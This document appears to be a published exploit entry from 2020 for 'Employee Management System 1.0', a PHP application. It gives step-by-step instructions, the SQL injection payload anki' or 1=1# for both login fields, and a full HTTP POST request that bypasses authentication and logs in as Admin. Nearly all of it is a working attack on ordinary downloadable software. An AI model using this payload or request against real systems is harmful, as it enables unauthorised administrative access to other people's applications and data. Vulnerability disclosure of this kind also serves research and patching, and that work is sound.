#Exploit Title: Employee Management System 1.0 - Authentication Bypass #Date: 2020-10-16 #Exploit Author: Ankita Pal #Vendor Homepage: https://www.sourcecodester.com/php/14432/employee-management-system-using-php.html #Software Link: https://www.sourcecodester.com/sites/default/files/download/razormist/employee-management-system.zip #Version: 1.0 #Tested on: Windows 10 + xampp v3.2.4 Proof of Concept::: Step 1: Open the URL http://localhost:8081/Employee%20Management%20System/alogin.html Step 2: Use payload anki' or 1=1# for both username and password. Malicious Request::: POST /Employee%20Management%20System/process/aprocess.php HTTP/1.1 Host: localhost:8081 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 70 Origin: http://localhost:8081 Connection: close Referer: http://localhost:8081/Employee%20Management%20System/alogin.html Cookie: PHPSESSID=infdfigld4et4jndfgbn33kcsv Upgrade-Insecure-Requests: 1 mailuid=anki%27+or+1%3D1%23&pwd=anki%27+or+1%3D1%23&login-submit=Login You will be login as Admin of the application.